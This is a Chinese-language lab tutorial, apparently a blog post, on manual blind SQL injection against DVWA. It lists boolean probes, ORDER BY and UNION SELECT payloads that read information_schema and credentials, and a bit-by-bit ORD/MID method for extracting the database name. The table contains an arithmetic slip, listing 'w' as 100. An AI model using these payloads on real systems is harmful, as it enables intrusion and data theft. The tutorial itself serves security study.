手动挖掘漏洞-SQL盲注(四)

SQL盲注

SQL盲注:不显示数据库内建的报错信息【内建的报错信息帮助开发人员发现和修复问题】,但由于报错信息中提供了关于系统的大量有用信息。当程序员隐藏了数据库内建报错信息,替换为通用的错误提示,SQL注入将无法依据报错信息判断注入语句的执行结果,即为盲注。

思路:既然无法基于报错信息判断结果,那就基于逻辑真假的不同结果来判断

SQL注入判断

基本的布尔值判断

1
2
1' and 1=1 --   // True   有回显 或 显示正常
1' and 1=2 -- // False 无回显 或 报错

当布尔值为真,有显示内容,布尔值为假,无回显
image
基于这样判断,很可能存在SQL注入漏洞

推测select字段数

1
2
1' order by 2 --     // 判断select语句中的列字段个数
1' order by 3 --

当order by 后的num 大于select中的字段数,无回显
image
如上当num值为2时,还有回显,num大于2时,无回显,说明select语句中查询的字段数为2个
因此后续就可以利用union select语句查询想要的信息
image

查询数据库

1
1' union select null, CONCAT_WS(CHAR(32,58,32), user(), database(), version()) --  // 查询mysql用户,数据库名,数据库版本
1
1' union select null, table_name from information_schema.tables --  // 查询元数据库中的所有表名
1
1' and 1=0 union select null,table_name from information_schema.columns where table_name='users' #  // 查询是否有users这张表

猜解数据库

1
2' or user='admin
1
2' or user like '%a%

猜账号密码

1
2' or user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99

【BurpSuite自动化】

另类猜解

当遇到网页不显示任何从数据库中提取的信息,只有页面风格画面的转换

1
2
and 1=1 -- 显示 页面1
and 1=2 -- 显示 页面2

此时,常见注入工具可能无法发现漏洞
可以尝试构造语句,手工注入或编写脚本

1
1' and ORD(MID((version()),1,1))&128>0 --

函数:

  • ORD() :把函数中的字符转换成ASCII码
  • MID(ColumnName, Start [, Length]) :截取字符串
  • ORD(string)&128 :将转换的ASCII数值于128(二进制:10000000)进行与运算;
    • 如果运算结果大于0,说明第一位数值为1(从左往右)
    • 如果运算结果等于0,说明第一位数值为0
    • 依次计算(1,2,4,8,16,32,64,128),判断每一位的二进制数值
    • 然后将计算到的二进制值转成十进制,反向计算出ASCII值
      【注】:键盘可输入的ASCII值只有128位

通过判断有无回显,间接猜出想要的信息
以下以判断数据库名为例
image
image
image
通过以上的回显进行判断,有回显置1

1
2
3
1' and ORD(MID((database()),1,1))&128>0 -- 
128 64 32 16 8 4 2 1
b 0 1 1 0 0 1 0 0

计算出ASCII值为100,即字符 ‘d’
后面字符的猜解,只需修改截取的位置

1
1' and ORD(MID((database()),2,1))&128>0 --

通过多次猜解,就可以得到数据库名 ‘dvwa’;

1
2
3
4
5
6
7
1' and ORD(MID((database()),n,1))&128>0 -- 

n 128 64 32 16 8 4 2 1 ascii(DEC)
1 0 1 1 0 0 1 0 0 -----100--------d
2 0 1 1 1 0 1 1 0 -----118--------v
3 0 1 1 1 0 1 1 1 -----100--------w
4 0 1 1 0 0 0 0 1 ------97--------a